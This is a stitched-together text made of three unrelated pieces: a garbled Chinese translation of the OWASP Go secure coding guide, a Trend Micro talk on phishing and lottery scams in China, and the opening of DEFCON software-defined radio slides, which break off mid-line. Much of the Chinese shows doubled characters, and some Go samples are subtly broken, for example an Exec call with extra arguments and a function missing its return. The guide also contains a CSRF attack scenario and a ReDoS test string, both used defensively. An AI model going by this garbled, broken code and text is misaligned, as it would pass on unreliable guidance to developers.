与来⾃自不不可信源的任何数据⼀一样,应该对数据进⾏行行适当的清理理和编码。有关这些主题的更更详细内容,请参阅本⽂文档的“数据清理理”和“输出编码”部分。 保持更更新是安全的关键。因此,开发⼈人员应该将Go更更新到最新版本,包括Web应⽤用程序中使⽤用的外部包和框架。 关于Go中的HTTP请求,你需要知道任何传⼊入服务器器的请求都是使⽤用HTTP/1.1或HTTP/2来完成的。如果请求是: req, _ := http.NewRequest("POST", url, buffer) req.Proto = "HTTP/1.0" Proto 将被忽略略,请求会使⽤用HTTP/1.1发出。 如果开发⼈人员忘记禁⽤用⽬目录列列表(OWASP也称其为⽬目录索引),攻击者可以通过⽬目录导航出⼀一些敏敏感⽂文件。 如果你运⾏行行⼀一个Go Web服务器器应⽤用程序,你还应该⼩小⼼心: http.ListenAndServe(":8080", http.FileServer(http.Dir("/tmp/static"))) 如果你访问 localhost:8080 ,它将打开你的index.html。但是假设你有⼀一个测试⽬目录 localhost:8080/test/ ,内部有敏敏感⽂文件: 为什什么会这样? Go尝试在⽬目录中找到index.html,如果它不不存在,它将显示⽬目录列列表。 要解决这个问题,有三个可⾏行行的解决⽅方案: 在你的web应⽤用程序中禁⽤用⽬目录列列表 限制对不不必要的⽬目录和⽂文件的访问 为每个⽬目录创建⼀一个索引⽂文件 这⾥里里我们将描述⼀一种禁⽤用⽬目录列列表的⽅方法,⾸首先,创建⼀一个函数来检查所请求的路路径,以及是否可以显示该路路径。 认证和授权 输⼊入数据清理理 系统配置 ⽬目录列列表 bloodzer0&Lingfighting type justFilesFilesystem struct { fs http.FileSystem } func (fs justFilesFilesystem) Open(name string) (http.File, error) { f, err := fs.fs.Open(name) if err != nil { return nil, err } return neuteredReaddirFile{f}, nil } 然后我们在 http.ListenAndServe 中使⽤用它: fs := justFilesFilesystem{http.Dir("tmp/static/")} http.ListenAndServe(":8080", http.StripPrefix("/tmp/static", http.FileServer(fs))) 请注意,我们的应⽤用程序仅允许显示 tmp/static 路路径。当我们试图直接访问受保护的⽂文件,我们得到: 如果我们尝试获取 test/ ⽬目录列列表,我们将得到相同的错误 在⽣生产环境中,删除所有不不需要的功能点和⽂文件。测试代码和函数,只应该留留在开发⼈人员层,⽽而不不是每个⼈人都能看到的位置。最终版本 (准备上⽣生产 的版本) 不不需要任何测试代码和函数。 我们还应该检查HTTP响应头。删除响应头中暴暴露露的敏敏感信息,例例如: 操作系统版本 Webserver版本 框架或编程语⾔言版本 攻击者可以使⽤用这些信息来检查你公开的版本中的漏漏洞洞,因此建议删除它们。 默认情况下,Go不不会公开这些内容。但是,如果你使⽤用任何类型的外 部包或框架,不不要忘记仔细检查。 类似这样的: w.Header().Set("X-Request-With", "Go Vulnerable Framework 1.2") 在代码中搜索,暴暴露露的HTTP头的代码,然后删除它。 你还可以在web应⽤用程序中定义⽀支持哪些HTTP⽅方法。如果应⽤用程序只接受 POST 和 GET 请求,使⽤用以下代码实现CORS: w.Header().Set("Access-Control-Allow-Methods", "POST, GET") 删除/禁⽤用你不不需要的内容 bloodzer0&Lingfighting 不不要担⼼心禁⽤用WebDAV之类的东⻄西,因为如果要实现WebDAV服务器器,需要导⼊入⼀一个包。 调整好⼼心态,然后遵循Web服务器器,流程和服务帐户上的最⼩小权限原则。 关注web应⽤用程序中的错误处理理。发⽣生异常时,安全地处理理错误。 你可以查看本指南中的错误处理理] (https://www.giac.org/paper/gsec/2693/implementation-methodology-information-security-management-system-to-comply-bs-7799-requi/104600)) ) 和⽇日志记录部分,以获取有关此主题的更更多信息。 防⽌止在 robots.txt ⽂文件中暴暴露露⽬目录结构。robots.txt是⼀一个⽅方向⽂文件,⽽而不不是⼀一个安全控件。 采⽤用⽩白名单⽅方法: User-agent: * Allow: /sitemap.xml Allow: /index Allow: /contact Allow: /aboutus Disallow: / 上⾯面的示例例将允许任何⽤用户代理理或机器器⼈人索引这些特定⻚页⾯面,并禁⽌止其余⻚页⾯面。 这样就不不会泄露露敏敏感⽂文件夹或⻚页⾯面 - 例例如管理理路路径或其他重要数据。 将开发环境与⽣生产环境的⽹网络隔离开来。为开发⼈人员和测试组,提供正确的访问权限,更更好的是创建额外的安全层来保护它们。在⼤大多数情况下,开 发环境更更容易易成为攻击的⽬目标。 最后,但仍然⾮非常重要的是,要有⼀一个软件更更改控制系统来管理理和记录Web应⽤用程序代码(开发和⽣生产环境)中的更更改。有许多在你⾃自⼰己主机上搭建 类似Github的克隆隆可以⽤用于此⽬目的。 虽然资产管理理系统不不是Go特定的问题,但以下部分将简要概述该概念及其实践。 资产管理理包括组织执⾏行行的⼀一系列列活动,以便便根据组织⽬目标实现资产的最佳配置,以及对每项资产所需安全级别的评估。应该注意的是,在本节中,当 我们提到资产时,我们不不仅讨论系统的组件,⽽而且还讨论软件。 实施该系统涉及的步骤如下: 1. 确定信息安全在企业中的重要性。 2. 定义AMS的范围。 3. 定义安全策略略。 4. 建⽴立安全组织结构。 5. 识别和分类资产。 6. 识别和评估⻛风险。 7. 规划⻛风险管理理。 8. 实施⻛风险缓解策略略。 9. 写下适⽤用性声明。 10. 培训员⼯工并树⽴立安全意识。 11. 监控并查看AMS性能。 12. 维护AMS并确保持续改进。 可以在此处找到对此实现更更深⼊入的分析。 关于OWASP SCP的这⼀一节,将讨论开发⼈人员和DBA,在web应⽤用程序中使⽤用数据库时,需要采取的所有数据库安全问题和操作。 Go没有数据库驱动程序,⽽而是在database/sql包上有⼀一个核⼼心接⼝口驱动程序。这意味着在使⽤用数据库连接时需要注册SQL驱动程序(例例 如:MariaDB、sqlite3)。 实现更更好的安全性 资产管理理系统: 数据库安全 最佳实践 bloodzer0&Lingfighting 在Go中实现数据库之前,您应该注意下⾯面我们将讨论的⼀一些配置: 安全数据库安装 更更改/设置root账户的密码; 删除本地主机外部可访问的root帐户; 删除任何匿匿名⽤用户帐户; 删除任何现有的测试数据库; 删除任何不不必要的存储过程、实⽤用程序包、不不必要的服务、vendor内容(例例如示例例模式)。 安装数据库与Go⼀一起使⽤用所需的最少功能和选项集。 禁⽤用web应⽤用程序上不不需要连接到数据库的任何默认帐户。 另外,由于验证数据库上的输⼊入和编码输出⾮非常重要,所以请务必阅读本指南的输⼊入验证 和输出编码部分。 在使⽤用数据库时,这基本上可以适⽤用于任何编程语⾔言。 sql.Open 不不返回数据库连接,⽽而是返回 *DB :数据库连接池。当运⾏行行⼀一个数据库操作(例例如查询)时,从池中取出⼀一个可⽤用连接,该连接应该 在操作完成后⽴立即返回到连接池中。 请记住,仅在⾸首次执⾏行行数据库操作(如查询)时才会打开⼀一个数据库连接。 sql.Open 并不不会测试数据库连接:数据库凭据错误,要在第⼀一个数据 库操作执⾏行行时才会触发。 根据经验,应该始终使⽤用 database/sql 接⼝口的上下⽂文变体(例例如QueryContext()),并提供适当的上下⽂文。 来⾃自Go官⽅方⽂文档:“Package上下⽂文定义了了Context类型,它跨API边界和进程之间传递截⽌止⽇日期,取消信号和其他请求范围的值。” 在数据库级别, 当上下⽂文被取消时,如果没有提交事务,将回滚事务,rows(来⾃自QueryContext)将被关闭,并返回所有资源。 数据库连接 概念 bloodzer0&Lingfighting package main import ( "context" "database/sql" "fmt" "log" "time" _ "github.com/go-sql-driver/mysql" ) type program struct { base context.Context cancel func() db *sql.DB } func main() { db, err := sql.Open("mysql", "user:@/cxdb") if err != nil { log.Fatal(err) } p := &program{db: db} p.base, p.cancel = context.WithCancel(context.Background()) // Wait for program termination request, cancel base context on request. go func() { osSignal := // ... select { case <-p.base.Done(): case <-osSignal: p.cancel() } // Optionally wait for N milliseconds before calling os.Exit. }() err = p.doOperation() if err != nil { log.Fatal(err) } } func (p *program) doOperation() error { ctx, cancel := context.WithTimeout(p.base, 10 * time.Second) defer cancel() var version string err := p.db.QueryRowContext(ctx, "SELECT VERSION();").Scan(&version) if err != nil { return fmt.Errorf("unable to read version %v", err) } fmt.Println("Connected to:", version) } 为了了保证连接字符串串的安全性,最好将身份验证细节放在公共访问之外的独⽴立配置⽂文件中。 不不要将配置⽂文件放在 /home/public_html/ 中,⽽而是考虑放在 /home/private/configdb.xml 中(受保护的区域) 连接字符串串的保护 bloodzer0&Lingfighting <connectionDB> <serverDB>localhost</serverDB> <userDB>f00</userDB> <passDB>f00?bar#ItsP0ssible</passDB> </connectionDB> 然后你可以在Go⽂文件中调⽤用config.xml⽂文件: configFile, _ := os.Open("../private/configDB.xml") 读取⽂文件后,连接数据库: db, _ := sql.Open(serverDB, userDB, passDB) 当然,如果攻击者具有root访问权限,他就可以看到该⽂文件。这就引出了了你能做的最谨慎的事情--加密⽂文件。 你应该为每个信任区块和级别使⽤用不不同的凭据: ⽤用户 只读⽤用户 客⼈人 管理理 这样,如果连接是为只读⽤用户建⽴立的,他们就永远不不会破坏数据库信息,因为这些⽤用户实际上只能读取数据。 如果您的Go web应⽤用程序只需要读取数据⽽而不不需要写⼊入信息,那么创建⼀一个权限为只读的数据库⽤用户。始终根据web应⽤用程序的需要调整数据库⽤用 户。 创建数据库访问权限时,请选择强密码。您可以使⽤用密码管理理器器来⽣生成强密码,或者使⽤用为你执⾏行行相同操作的在线Web应⽤用程序 - 强密码⽣生成器器。 ⼤大多数DBS都有默认帐户,其中⼤大部分都没有最⾼高权限⽤用户的密码。 MariaDB,MongoDB - root /⽆无密码 这意味着如果没有密码,攻击者就可以访问所有内容。 此外,如果你要将代码发布在Github的可公开访问的存储库中,请不不要忘记删除您的凭据或私钥。 预先准备好的查询语句句(带有参数化查询)是防⽌止SQL注⼊入的最佳和最安全的⽅方法。 在某些报告的情况下,预先准备好的语句句可能会有损web应⽤用程序的性能。因此,如果出于某种原因需要停⽌止使⽤用这种类型的数据库查询,我们强烈烈 建议阅读输⼊入验证和输出编码部分。 Go与其他语⾔言的常⽤用预准备语句句的⼯工作⽅方式不不同 - 你不不需要在连接上准备语句句, ⽽而在DB上准备。 开发⼈人员在连接池中的⼀一个连接上准备语句句(Stmt) Stmt对象会记住使⽤用了了哪个连接 数据库证书 数据库认证 以最⼩小权限访问数据库 使⽤用强密码 删除默认的管理理密码 参数化查询 示例例 bloodzer0&Lingfighting 当应⽤用程序执⾏行行Stmt时,它尝试使⽤用该连接。如果它不不可⽤用,它将尝试在池中找到另⼀一个连接 这种类型的流可能导致数据库的⾼高并发性使⽤用,并创建⼤大量量预准备的语句句。所以,记住这些信息⾮非常重要。 以下是带参数化查询的预准备语句句的示例例: customerName := r.URL.Query().Get("name") db.Exec("UPDATE creditcards SET name=? WHERE customerId=?", customerName, 233, 90) 有时候,准备好的语句句不不是你想要的。这可能有⼏几个原因: 数据库不不⽀支持预准备语句句。例例如,在使⽤用MySQL驱动程序时,可以连接到MemSQL和Sphinx,因为它们⽀支持MySQL 有线协议。但是它们不不⽀支 持包含预准备语句句的“⼆二进制”协议,因此它们可能会以令⼈人困惑的⽅方式失败。 这些语句句的重⽤用性不不⾜足以使它们变得有价值,并且安全问题在我们的应⽤用程序堆栈的另⼀一层处理理(请参阅:输⼊入验证和输出编码,因此上⾯面所示 的性能是不不可取的。 开发⼈人员可以使⽤用存储过程创建查询的特定视图,以防⽌止敏敏感信息被归档,⽽而不不是使⽤用普通查询。 开发⼈人员可以添加⼀一个接⼝口,通过创建和限制对存储过程的访问,将⼀一个⼈人使⽤用特定存储过程和可以访问的信息类型区分开来。使⽤用此功能,开发⼈人 员可以更更容易易地管理理该过程,特别是在从安全⻆角度控制表和列列时,⾮非常⽅方便便。 让我们来看⼀一个例例⼦子…… 假设你有⼀一个表,其中包含关于⽤用户护照ID的信息。 使⽤用如下查询: SELECT * FROM tblUsers WHERE userId = $user_input 除了了输⼊入验证的问题之外,数据库⽤用户(在本例例中,⽤用户名为John)还可以通过⽤用户ID访问所有信息。 如果John只能使⽤用这个存储过程会怎样: CREATE PROCEDURE db.getName @userId int = NULL AS SELECT name, lastname FROM tblUsers WHERE userId = @userId GO 你只需使⽤用以下命令即可运⾏行行: EXEC db.getName @userId = 14 通过这种⽅方式,你可以确定⽤用户John只看到他请求的⽤用户的 name 和 lastname 。 存储过程并不不是⽆无懈可击的,但是它为你的web应⽤用程序创建了了⼀一个新的保护层。存储过程为DBA在控制权限⽅方⾯面提供了了很⼤大的优势(例例如,⽤用户可 以限于特定的⾏行行/数据),甚⾄至更更好的服务器器性能。 处理理⽂文件时要采取的第⼀一个预防措施是,确保不不允许⽤用户直接向任何动态函数提供数据。在PHP等语⾔言中,将⽤用户数据传递给动态加载函数是⼀一个严 重的安全⻛风险。Go是⼀一种编译语⾔言,这意味着不不会 include 函数,⽽而且通常不不会动态加载库。 Go 1.8版本,允许通过新的插件机制来实现动态加载。如果你的应⽤用程序使⽤用这种机制,应该对⽤用户提供的输⼊入采取预防措施。 ⽂文件上传应该仅限于经过身份验证的⽤用户。在确保⽂文件上传仅能由经过身份验证的⽤用户完成之后,安全性的另⼀一个重要⽅方⾯面是,确保只有⽩白名单中的 ⽂文件类型才能上传到服务器器。可以使⽤用以下检测MIME类型的Go函数进⾏行行此检查: func DetectContentType(data []byte) string 附加了了⼀一个读取⽂文件并识别其MIME类型的简单程序。最相关的部分如下: 存储过程 ⽂文件管理理 bloodzer0&Lingfighting {...} // Write our file to a buffer // Why 512 bytes? See http://golang.org/pkg/net/http/#DetectContentType buff := make([]byte, 512) _, err = file.Read(buff) {...} //Result - Our detected filetype filetype := http.DetectContentType(buff) 在识别⽂文件类型之后,根据允许的⽂文件类型的⽩白名单,验证⽂文件类型。 在该示例例中,这在以下部分中实现: {...} switch filetype { case "image/jpeg", "image/jpg": fmt.Println(filetype) case "image/gif": fmt.Println(filetype) case "image/png": fmt.Println(filetype) default: fmt.Println("unknown file type uploaded") } {...} ⽤用户上传的⽂文件不不应该存储在应⽤用程序的Web上下⽂文中。相反,⽂文件应该存储在内容服务器器或数据库中。需要注意的是,所选的⽂文件上传路路径不不具有 执⾏行行权限。 如果承载⽤用户上传的⽂文件服务器器基于 *NIX ,请确保实现chrooted环境等安全机制,或将⽬目标⽂文件⽬目录挂载为逻辑驱动器器。 同样,由于Go是⼀一种编译语⾔言,因此不不存在上传包含可在服务器器端解释的恶意代码的⽂文件的常⻅见⻛风险。 在动态重定向的情况下,不不应该传递⽤用户数据。如果你的应⽤用程序需要它,则必须采取其他措施来确保应⽤用程序的安全性。这些检查包括只接受正确 验证的数据和相对路路径url。 此外,在将数据传递到动态重定向时,⼀一定要确保⽬目录和⽂文件路路径映射到预定义的路路径列列表的索引,并使⽤用这些索引。 永远不不要将绝对⽂文件路路径发送给⽤用户,始终使⽤用相对路路径。 将有关应⽤用程序⽂文件和资源的服务器器权限设置为只读,当上传⽂文件时,扫描该⽂文件,查找病毒和恶意软件。 关于内存管理理,有⼏几个重要⽅方⾯面需要考虑。遵循OWASP指南,我们必须采取的保护应⽤用程序措施的第⼀一步,是检查⽤用户的输⼊入/输出。这些措施需确 保不不允许任何恶意内容。有关此⽅方⾯面的更更详细概述,请参阅本⽂文档的输⼊入验证和输出编码部分。 关于内存管理理的另⼀一个重要⽅方⾯面是缓冲区边界检查。在处理理接受⼤大量量字节进⾏行行复制的函数时,通常在c⻛风格的语⾔言中,必须检查⽬目标数组的⼤大⼩小,以 确保写⼊入的内容不不会超过分配的空间。在Go中, String 等数据类型不不以 NULL 结尾,对于String,其 header 包含以下信息: type StringHeader struct { Data uintptr Len int } 尽管如此,必须进⾏行行边界检查(例例如在循环时)。如果我们超出了了设定的界限,go会抛出 Panic 。 ⼀一个简单的例例⼦子: 内存管理理 bloodzer0&Lingfighting func main() { strings := []string{"aaa", "bbb", "ccc", "ddd"} // Our loop is not checking the MAP length -> BAD for i := 0; i < 5; i++ { if len(strings[i]) > 0 { fmt.Println(strings[i]) } } } 输出: aaa bbb ccc ddd panic: runtime error: index out of range 当我们的应⽤用程序使⽤用资源时,还必须进⾏行行额外的检查,以确保它们已经关闭,⽽而不不仅仅是依赖于垃圾收集器器。这适⽤用于处理理连接对象、⽂文件句句柄 等。在Go中,我们可以使⽤用 Defer 来执⾏行行这些操作。 Defer 中的指令只在周围函数执⾏行行完成时执⾏行行。 defer func() { // Our cleanup code here } 有关 Defer 的更更多信息可以在⽂文档的错误处理理部分中找到。 还应避免使⽤用已知的易易受攻击的函数。在Go中, Unsafe 包中包含这些函数。 这些函数不不应该⽤用于⽣生产环境,在包中也不不应该使⽤用,包 括 Testing 包。 另⼀一⽅方⾯面,内存回收是由垃圾收集器器处理理的,这意味着我们不不必担⼼心它。有趣是,⼿手动释放内存是可能的,尽管不不建议这样做。 引⽤用Golang Github: 如果您真的想使⽤用Go⼿手动管理理内存,请基于 syscall.Mma 或 cgo malloc/free 实现你⾃自⼰己的内存分配器器。 对于像Go这样的并发语 ⾔言,⻓长时间禁⽤用GC通常是⼀一个糟糕的解决⽅方案。Go的GC未来只会更更好。 根据OWASP的定义,"跨站点请求伪造(CSRF)是⼀一种攻击,它迫使终端⽤用户在当前经过身份验证的web应⽤用程序上执⾏行行不不需要的操作。" CSRF攻击的⽬目标不不是窃取数据,⽽而是状态更更改请求。通过⼀一些社交⼯工程(⽐比如通过电⼦子邮件或聊天分享链接),攻击者可能会欺骗⽤用户执⾏行行不不需要的 Web应⽤用程序操作,⽐比如更更改帐户的恢复email。 假设 foo.com 使⽤用 HTTP GET 请求设置帐户的恢复email: GET https://foo.com/account/[email protected] ⼀一个简单的攻击场景可能是这样的: 1. 受害者通过 https://foo.com 进⾏行行身份验证 2. 攻击者通过链接向受害者发送聊天消息 https://foo.com/account/[email protected] 通⽤用编码实践 跨站请求伪造 攻击场景 bloodzer0&Lingfighting 3.受害者的帐户恢复email地址被更更改为 [email protected] ,攻击者完全控制它 将HTTP⽅方法从 GET 更更改为 POST (或任何其他)都不不能解决这个问题,URL重写或HTTPS也不不能解决这个问题。 这个攻击的原因是因为服务器器不不能区分合法⽤用户在会话期间发出的请求和"恶意"的请求。 理理论上 如前所述,CSRF针对的是状态更更改请求,对于Web应⽤用程序,⼤大多数情况下都是提交表单发出的 POST 请求。 在此场景中,当⾸首次请求呈现表单的⻚页⾯面时,服务器器计算⼀一个随机数(打算使⽤用⼀一次的任意数字)。然后,这个token作为字段包含在表单中(⼤大多数时 候这个字段是隐藏的,但不不是强制性的)。 然后,当提交表单时,隐藏字段与其他⽤用户输⼊入⼀一起发送。 服务器器验证,令牌是否是请求数据的⼀一部分,是否有效。 该随机数/token应符合以下要求: 每个⽤用户会话唯⼀一 ⼤大的随机值 由加密安全随机数⽣生成器器⽣生成 注意: 虽然 HTTP GET 请求不不会改变状态(称为幂等),但是由于糟糕的编程实践,它们实际上可以修改资源,因此也应该成为CSRF攻击的⽬目标。 在处理理API时, PUT 和 DELETE 是CSRF攻击的另外两个常⻅见⽬目标。 练习 ⼿手⼯工完成这⼀一切不不是⼀一个好主意,因为它很容易易出错。 ⼤大多数Web应⽤用程序框架已经提供了了开箱即⽤用的功能,建议您启⽤用它,或者,不不使⽤用框架,单独使⽤用它。 以下示例例是⽤用于go编程语⾔言的 Gorilla web⼯工具包 的⼀一部分。你可以在GitHub上找到 gorilla/csrf。 问题 解决⽅方案 bloodzer0&Lingfighting package main import ( "net/http" "github.com/gorilla/csrf" "github.com/gorilla/mux" ) func main() { r := mux.NewRouter() r.HandleFunc("/signup", ShowSignupForm) // All POST requests without a valid token will return HTTP 403 Forbidden. r.HandleFunc("/signup/post", SubmitSignupForm) // Add the middleware to your router by wrapping it. http.ListenAndServe(":8000", csrf.Protect([]byte("32-byte-long-auth-key"))(r)) // PS: Don't forget to pass csrf.Secure(false) if you're developing locally // over plain HTTP (just don't leave it on in production). } func ShowSignupForm(w http.ResponseWriter, r *http.Request) { // signup_form.tmpl just needs a {{ .csrfField }} template tag for // csrf.TemplateField to inject the CSRF token into. Easy! t.ExecuteTemplate(w, "signup_form.tmpl", map[string]interface{}{ csrf.TemplateTag: csrf.TemplateField(r), }) // We could also retrieve the token directly from csrf.Token(r) and // set it in the request header - w.Header.Set("X-CSRF-Token", token) // This is useful if you're sending JSON to clients or a front-end JavaScript // framework. } func SubmitSignupForm(w http.ResponseWriter, r *http.Request) { // We can trust that requests making it this far have satisfied // our CSRF protection requirements. } OWASP有⼀一个详细的跨站点请求伪造(CSRF)预防备忘单,建议你阅读。 正则表达式是⼀一种⼴广泛⽤用于搜索和验证的强⼤大⼯工具。在web应⽤用程序上下⽂文中,它们通常⽤用于输⼊入验证(例例如电⼦子邮件地址)。 正则表达式是⼀一种⽤用于描述字符串串集的表示法。当特定字符串串在正则表达式描述的集合中时,我们经常说正则表达式与字符串串匹配。(来源) 所周知,正则表达式很难掌握。有时,看似简单的验证,可能会导致拒绝服务。 与其他编程语⾔言不不同,Go的作者对此⾮非常重视,他选择⽤用RE2来实现regex标准包。 RE2的设计和实现具有⼀一个明确的⽬目标,即能够在没有⻛风险的情况下,处理理来⾃自不不受信任⽤用户的正则表达式。(来源) 考虑到安全性,RE2还保证了了线性时间性能和优雅的失败:解析器器、编译器器和执⾏行行引擎可⽤用的内存是有限的。 正则表达式拒绝服务(ReDoS)是⼀一种引发拒绝服务(DoS)的算法复杂度攻击。ReDos攻击是由正则表达式引起的,该表达式需要很⻓长时间来进⾏行行 计算,其计算时间与输⼊入⼤大⼩小呈指数级相关。在计算过程中,这⼀一异常⻓长的时间是,由于使⽤用的正则表达式的实现算法,例例如递归回溯表达 式。(来源) 正则表达式 为什什么是RE2 正则表达式拒绝服务攻击 bloodzer0&Lingfighting 你最好阅读完整的⽂文章“深⼊入研究Go中的正则表达式拒绝服务(ReDoS))”,因为它深⼊入研究了了这个问题,并包含了了⼤大多数流⾏行行的编程语⾔言之间的⽐比 较。在本节中,我们将关注⼀一个真实世界的⽤用例例。 由于某些原因,你正在寻找⼀一个正则表达式来验证注册表单上提供的电⼦子邮件地址。在快速搜索之后,你在RegExLib.com上找到了了这个⽤用于电⼦子邮 件验证的正则表达式: ^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$ 如果你尝试将[email protected]与此正则表达式匹配,您可能会确信它能够满⾜足你的需求。 如果你正在使⽤用Go开发,你会想出类似的东⻄西: package main import ( "fmt" "regexp" ) func main() { testString1 := "[email protected]" testString2 := "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!" regex := regexp.MustCompile("^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|( [a-z]{2,3}[.]{1}[a-z]{2,3}))$") fmt.Println(regex.MatchString(testString1)) // expected output: true fmt.Println(regex.MatchString(testString2)) // expected output: false } 运⾏行行结果: $ go run src/redos.go true false 如果你正在使⽤用JavaScript开发呢? const testString1 = '[email protected]'; const testString2 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'; const regex = /^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a- z]{2,3}))$/; console.log(regex.test(testString1)); // expected output: true console.log(regex.test(testString2)); // expected output: hang/FATAL EXCEPTION 如果您具有其他编程语⾔言(如Perl、Python、PHP或JavaScript)的背景,则应该了了解正则表达式⽀支持的特性之间的差异。 RE2不不⽀支持只有回溯解决⽅方案存在的构造,例例如回溯引⽤用和查找。 考虑以下问题:验证任意字符串串是否是格式正确的HTML标记:a)开始和结束标记名称匹配,b)开始和结束标记之间可以有⼀一些⽂文本。 满⾜足要求b)很简单 .*? ,但是a)具有挑战性,因为结束标记匹配取决于匹配的开头标记。 这正是Backreferences允许我们做的事情。 检查下⾯面的 JavaScript实现: 少了了什什么 bloodzer0&Lingfighting const testString1 = '<h1>Go Secure Coding Practices Guide</h1>'; const testString2 = '<p>Go Secure Coding Practices Guide</p>'; const testString3 = '<h1>Go Secure Coding Practices Guid</p>'; const regex = /<([a-z][a-z0-9]*)\b[^>]*>.*?<\/\1>/; console.log(regex.test(testString1)); // expected output: true console.log(regex.test(testString2)); // expected output: true console.log(regex.test(testString3)); // expected output: false \1 将保存 ([A-Z][A-Z0-9]*) 先前捕获的值。 这是你不不应该期望在Go中做的事情: package main import ( "fmt" "regexp" ) func main() { testString1 := "<h1>Go Secure Coding Practices Guide</h1>" testString2 := "<p>Go Secure Coding Practices Guide</p>" testString3 := "<h1>Go Secure Coding Practices Guid</p>" regex := regexp.MustCompile("<([a-z][a-z0-9]*)\b[^>]*>.*?<\/\1>") fmt.Println(regex.MatchString(testString1)) fmt.Println(regex.MatchString(testString2)) fmt.Println(regex.MatchString(testString3)) } 运⾏行行上⾯面的Go源代码示例例应该会导致以下错误: $ go run src/backreference.go # command-line-arguments src/backreference.go:12:64: unknown escape sequence src/backreference.go:12:67: non-octal character in escape sequence: > 你可能会想要修复这些错误,并提出以下正则表达式: <([a-z][a-z0-9]*)\b[^>]*>.*?<\\/\\1> 然后,你将得到: go run src/backreference.go panic: regexp: Compile("<([a-z][a-z0-9]*)\b[^>]*>.*?<\\/\\1>"): error parsing regexp: invalid escape sequence: `\1 ` goroutine 1 [running]: regexp.MustCompile(0x4de780, 0x21, 0xc00000e1f0) /usr/local/go/src/regexp/regexp.go:245 +0x171 main.main() /go/src/backreference.go:12 +0x3a exit status 2 在从头开始开发⼀一些东⻄西时,你可能会在缺少⼀一些特性时,发现很好的解决⽅方案。另⼀一⽅方⾯面,移植现有软件,你可能会寻找标准正则表达式包的完整 功能替代⽅方案,可能会找到(例例如: dlclark / regexp2 )。请记住,你可能会失去RE2的“安全特性”,⽐比如线性时间性能。 bloodzer0&Lingfighting
pdf
Phishing and Online Scams in China Joey Zhu Trend Micro Inc. Who I am: • Worked for Trend Micro Inc. (2005 – Present) • Rich experience with virus sandbox (2005 – 2008) • Rich experience as a JavaScript analyzer (2008 – Present) • Web threat expert, focusing on HTML/Javascript exploits • Now interested in phishing in China Only 3% of phishing occurs in China Do you believe this number? All vendors don’t focus on China 100+ phishing QQ sites found among 4M traffic (reported by Trend Micro) Phisher’s bonus: Large population QQ.com: 640 Million Taobao.com: 300 Million Passengers at Spring Festival: 280 Million Global WoW: 10 Million Hot Phishing Event target www.boc.com • Over 500 phishing site in Feb • Spread via SMS message • Also includes other banks – CEB/SDB Vulnerable Validation Procedures E-Token from www.boc.com • Password invalid after 60 seconds • www.bocxx.com Phishing in China • More prevalent than drive-by websites • Three categories: – lottery scams (most common), fake websites, fraudulent websites fake websites/仿冒著名网站 仿冒著名网站 仿冒著名网站 仿冒著名网站 fraudulent websites /欺诈网站 欺诈网站 欺诈网站 欺诈网站 lottery scam/中奖骗局 中奖骗局 中奖骗局 中奖骗局 Lottery Scam beyond traditional private information leakage • Over 70% of scams, making it the No. 1 category • Fake webpages such as QQ, games & CCTV A typical lottery scam Step 1. IM/Email message: “Lucky you, go won a prize…” Step 2. A phishing webpage pretends to be the official site like QQ.com or CCTV.com, … Step 3. After clicking, the phishing site will ask users to pay income tax or notary fees first. Where does the Phishing URL come from? Chinese Instant Messenger • A special phenomenon in China • Notably from QQ & Aliwangwang/阿里旺旺 阿里旺旺 阿里旺旺 阿里旺旺 Where does the Phishing URL come from? Comprised of a website & injected with Iframe in order to deliver phishing message Money Driven Fraudulent Websites New Phishing without Target Brand Delivered by AdWords Scams with Stocks & Securities for membership fees Taobao Phishing == Money • Over 80 billion dollars in 2010 • AliPay = Paypal • Supported by most Chinese eBanks Taobao Phishing Demo Phishing Web Site Source Code • Active market • Sell at a price < ¥ ¥ ¥ ¥1000 • Copied from a template Source Code and Framework Summary Characteristics of Chinese Phishing Websites Lottery scam is targeted to a few branded websites which are then faked: QQ, Taobao, CCTV Scams/fraudulent websites are so popular and go beyond the traditional phishing scope Short uptime of phishing websites because they are easy to create Visual/content similarity among fake websites URLs are propagated by IMs, BlackSeo or Comprised Servers Thanks
pdf
DEFCON! 2015! Introduction to SDR & the Wireless Village ! Who the Frig...! satanklawz! ! DaKahuna! It takes a village...! Rick Mellendick! Zero_Chaos! Marauder! Terrible! ! RedBaron! SimonJ! Spiral Suitcase! 0xAA! Agenda for the next 45 minutes! ● Ham Radio Transceivers! ● SDR Rx/Tx! ● Antenna Theory from Ham to SDR ! ● The (S) in SDR! ● Common problems with SDR Labs ! ● A bit of fun! ● Take all this stuff to the Village! Materials Checklist if you wanna follow! ● RTL-SDR! ● Modern Laptop! ● Pentoo! ● Headsets! ● Antennas! Oops...! Don’t have something?! ! DEF CON Vendors Hacker!Warehouse! !Hak5 ! !! Nuand ! !SimpleWiFi!! Fry’s Electronics! Address: 6845 S Las Vegas Blvd, Las Vegas, NV 89119! Phone:(702) 932-1400! Hours: 9:00 am – 8:00 pm! ! ! HAM Radio Transceivers – Fixed ! Frequencies: HF, VHF, UHF, ! VHF/UHF! ! Power Output: 100 – 200 Watts! ! Cost: $1,000 and up! ! Source: http://digichar.com/unt/17066-yaesu_ft___901dm_hf_ham_radio_transceiver.html! http://www.airadio.com/Icom-Transceiver-IC-7800*productID_293-products_details! ! HAM Radio Transceivers – Mobile ! Frequencies: HF, VHF, UHF, ! VHF/UHF! ! Power Output: 40 – 50 Watts! ! Cost: $300 - $500! ! Source: http://www.hamradio.com! ! HAM Radio Transceivers – Handheld! Frequencies: VHF, UHF, ! VHF/UHF! ! Power Output: 4 – 5 Watts! ! Cost: $35 - $300! ! Source: http://www.hamradio.com! ! HAM Radio Transceivers - Virtual! HamSphere! Java Based (Windows, OS X, ! Just add microphone (headset recommended) ! HAM Radio Transceivers - SDR! BladeRF(Nuand)! Frequency: 300Mhz-3.8Ghz! Power: ~6 dBm (4 